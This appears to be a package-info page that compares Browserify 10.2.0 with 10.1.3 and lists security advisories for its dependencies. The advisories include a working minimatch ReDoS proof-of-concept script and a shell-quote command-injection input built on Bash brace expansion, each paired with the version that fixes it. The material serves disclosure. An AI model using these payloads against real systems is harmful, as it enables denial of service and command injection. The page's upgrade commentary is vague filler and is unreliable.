Browserify version 10.2.0 offers a minor update over its predecessor, 10.1.3, primarily impacting dependency versions. Developers considering an upgrade should be aware of these changes, particularly concerning the core dependency browser-pack, which jumps from version 4.0.3 to 5.0.0. This update likely includes bug fixes and performance enhancements within Browserify's packaging process, potentially leading to more efficient bundle creation and improved runtime behavior. Beyond browser-pack, the update maintains a consistent set of direct dependencies, ensuring a stable and predictable environment for existing Browserify projects.
Both versions maintain a broad range of dependencies covering essential functionalities such as URL handling, path resolution, and stream processing; these are foundational to Browserify's ability to translate Node.js modules for browser use. Developers will still benefit from seamless support for require() statements, enabling modular JavaScript development within the browser. Additionally, the consistent set of development dependencies emphasizes a continuing focus on testing and code quality - core tenants for producing stable updates. Therefore, the move to version 10.2.0 primarily resolves under-the-hood package improvements and adjustments, while promising a smoother packaging experience and overall stability for browser-based module management. Be sure to test your build if upgrading and taking advantage of the latest version of the package with updated package browser-pack being updated.
All the vulnerabilities related to the version 10.2.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote
do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >
,;
,{
,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {}
and using the ,
instead of
to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.